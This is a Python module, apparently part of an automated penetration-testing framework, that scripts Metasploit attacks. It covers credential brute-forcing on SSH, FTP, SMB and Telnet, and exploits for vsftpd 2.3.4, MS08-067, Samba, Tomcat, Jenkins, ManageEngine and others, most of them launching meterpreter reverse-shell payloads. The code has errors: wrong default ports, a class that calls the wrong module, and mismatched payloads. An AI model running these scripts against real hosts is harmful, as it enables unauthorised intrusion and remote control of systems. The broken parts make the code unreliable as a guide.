"""Exploits currently supported
   Straightforward to add more following the basic model presented here
"""
from .action import Exploit
import time


def wait_for_job_completion(job_info, client):
    if job_info is not None:
        if "error" in job_info:
            return
        job_is_running = True
        while job_is_running:
            job_id = job_info["uuid"]
            results = client.jobs.info_by_uuid(job_id)
            if "error" in results:
                return
            if results["status"] == "completed":
                job_is_running = False
            else:
                time.sleep(1)


class SSH_Bruteforce(Exploit):
    """port 22 bruteforce
    https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssh/ssh_login.rb
    """

    def __init__(self, target=(0, 0)):
        self.name = "SSH_Bruteforce"
        self.service = "ssh"
        self.target = target
        self.req_access = None
        self.req_os = None
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=22):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 22
        :return:
        """
        exploit = client.modules.use("auxiliary", "scanner/ssh/ssh_login")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        # TODO: This should be detected based on metasploit rpc server
        exploit["USERPASS_FILE"] = "/usr/share/metasploit-framework/data/wordlists"
        job_info = exploit.execute()
        wait_for_job_completion(job_info, client)


class FTP_Bruteforce(Exploit):
    """port 23 bruteforce
    https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ftp/ftp_login.rb
    """

    def __init__(self, target=(0, 0)):
        self.name = "FTP_Bruteforce"
        self.service = "ftp"
        self.target = target
        self.req_access = None
        self.req_os = None
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=23):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 23
        :return:
        """
        exploit = client.modules.use("auxiliary", "scanner/ftp/ftp_login")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        # TODO: This should be detected based on metasploit rpc server
        exploit["USERPASS_FILE"] = "/usr/share/metasploit-framework/data/wordlists"
        job_info = exploit.execute()
        wait_for_job_completion(job_info, client)


class SMB_Bruteforce(Exploit):
    """
    port 445 bruteforce
    https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_login.rb
    """

    def __init__(self, target=(0, 0)):
        self.name = "SMB_Bruteforce"
        self.service = "Microsoft-DS"
        self.target = target
        self.req_access = None
        self.req_os = None
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=445):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 445
        :return:
        """
        exploit = client.modules.use("auxiliary", "scanner/smb/smb_login")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        exploit[
            "USERPASS_FILE"
        ] = "/usr/share/metasploit-framework/data/wordlists"  # TODO: This should be detected based on metasploit rpc server
        job_info = exploit.execute()
        wait_for_job_completion(job_info, client)


class Telnet_Bruteforce(Exploit):
    """port 23 bruteforce
    https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/telnet/telnet_login.rb
    """

    def __init__(self, target=(0, 0)):
        self.name = "Telnet_Bruteforce"
        self.service = "telnet"
        self.target = target
        self.req_access = None
        self.req_os = None
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=445):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 445
        :return:
        """
        exploit = client.modules.use("auxiliary", "scanner/telnet/telnet_login")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        exploit[
            "USERPASS_FILE"
        ] = "/usr/share/metasploit-framework/data/wordlists"  # TODO: This should be detected based on metasploit rpc server
        job_info = exploit.execute()
        wait_for_job_completion(job_info, client)


class VSFTPD(Exploit):
    """use exploit/unix/ftp/vsftpd_234_backdoor
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb

    Args:
        Exploit ([type]): vsftpd 2.3.4 port 21

    Raises:
        NotImplementedError: [description]
    """

    def __init__(self, target=(0, 0)):
        self.name = "VSFTPD"
        self.service = "ftp"
        self.target = target
        self.req_access = None
        self.req_os = "unix"
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=21):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 21
        :return:
        """
        exploit = client.modules.use("exploit", "unix/ftp/vsftpd_234_backdoor")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        job_info = exploit.execute(payload="cmd/unix/interact")
        wait_for_job_completion(job_info, client)


class JavaRMIServer(Exploit):
    """[summary]
    https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/modules/exploits/multi/misc/java_rmi_server.rb
        Args:
            Exploit ([type]): [description]
    """

    def __init__(self, target=(0, 0)):
        self.name = "Java_RMI_Server"
        self.service = "http"
        self.target = target
        self.req_access = None
        self.req_os = None
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=1099):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 21
        :return:
        """
        exploit = client.modules.use("exploit", "multi/misc/java_rmi_server")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        exploit.execute(cmd="java/meterpreter/reverse_https")


class Ms08_067_Netapi(Exploit):
    """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms08_067_netapi.rb
    Classic smb exploitation through crafted rpc packet. Works great on windows xp.

    Args:
        Exploit ([type]): [description]
    """

    def __init__(self, target=(0, 0)):
        self.name = "ms08_067_netapi"
        self.service = "Microsoft-DS"
        self.target = target
        self.req_access = None
        self.req_os = "win"
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=445):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 21
        :return:
        """
        exploit = client.modules.use("exploit", "windows/smb/ms08_067_netapi")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        job_info = exploit.execute(cmd="windows/meterpreter/reverse_https")
        wait_for_job_completion(job_info, client)


class ManageEngine_Auth_Upload(Exploit):
    """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/manageengine_auth_upload.rb

    Http upload that allows remote code execution on ManageEngine ServiceDesk

    TODO: Find a vulnerable copy of this for building environments. oy vey.
    Args:
        Exploit ([type]): [description]
    """

    def __init__(self, target=(0, 0)):
        self.name = "ManageEngine_Auth_Upload"
        self.service = "http"
        self.target = target
        self.req_access = None
        self.req_os = None
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=8080):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 21
        :return:
        """
        exploit = client.modules.use("exploit", "multi/http/manageengine_auth_upload")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        job_info = exploit.execute(cmd="java/meterpreter/reverse_https")
        wait_for_job_completion(job_info, client)


class ApacheJamesExecution(Exploit):
    """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/smtp/apache_james_exec.rb

        'Name'           => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write"

    Args:
        Exploit ([type]): [description]
    """

    def __init__(self, target=(0, 0)):
        self.name = "Apache_James_InsecureUserCreation"
        self.service = "smpt"
        self.target = target
        self.req_access = None
        self.req_os = "linux"
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=8080):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 21
        :return:
        """
        exploit = client.modules.use("exploit", "multi/http/manageengine_auth_upload")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        job_info = exploit.execute(cmd="java/meterpreter/reverse_https")
        wait_for_job_completion(job_info, client)


class SambaUsermapScript(Exploit):
    """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb

        'Name'           => "Samba "username map script" Command Execution"

    Args:
        Exploit ([type]): [description]
    """

    def __init__(self, target=(0, 0)):
        self.name = "Samba_Usermap_Script"
        self.target = target
        self.service = "NetBIOS-SSN"
        self.req_access = None
        self.req_os = "multi"
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=139):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 139
        :return:
        """
        exploit = client.modules.use("exploit", "multi/samba/usermap_script")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        job_info = exploit.execute(cmd="java/meterpreter/reverse_https")
        wait_for_job_completion(job_info, client)


class ApacheTomcatAuthenticationCodeExecution(Exploit):
    """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/tomcat_mgr_deploy.rb

        'Name'           => "Apache Tomcat Manager Application Deployer Authenticated Code Execution"

    Args:
        Exploit ([type]): [description]
    """

    def __init__(self, target=(0, 0)):
        self.name = "Apache_Tomcat_Execution"
        self.target = target
        self.service = "http"
        self.req_access = None
        self.req_os = "multi"
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=8080):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port None
        :return:
        """
        exploit = client.modules.use("exploit", "multi/http/tomcat_mgr_deploy")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        job_info = exploit.execute(cmd="java/meterpreter/reverse_https")
        wait_for_job_completion(job_info, client)


class Jenkins_CI_Script_Java_Execution(Exploit):
    """https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/jenkins_script_console.rb

        'Name'           => "Jenkins-CI Script-Console Java Execution"

    Args:
        Exploit ([type]): [description]
    """

    def __init__(self, target=(0, 0)):
        self.name = "Jenkins_CI_Script_Console_Java_Execution"
        self.service = "http"
        self.target = target
        self.req_access = None
        self.req_os = "multi"
        self.req_version = None
        super(Exploit, self).__init__(
            self.name, self.target, self.req_access, self.req_os, self.req_version
        )

    def execute(self, client, host, port=8080):
        """
        :param client: metasploit client object
        :param host: string representing IP of the target
        :param port: default port 8080
        :return:
        """
        exploit = client.modules.use("exploit", "multi/http/jenkins_script_console")
        exploit["RHOSTS"] = host
        exploit["RPORT"] = port
        job_info = exploit.execute(cmd="java/meterpreter/reverse_https")
        wait_for_job_completion(job_info, client)
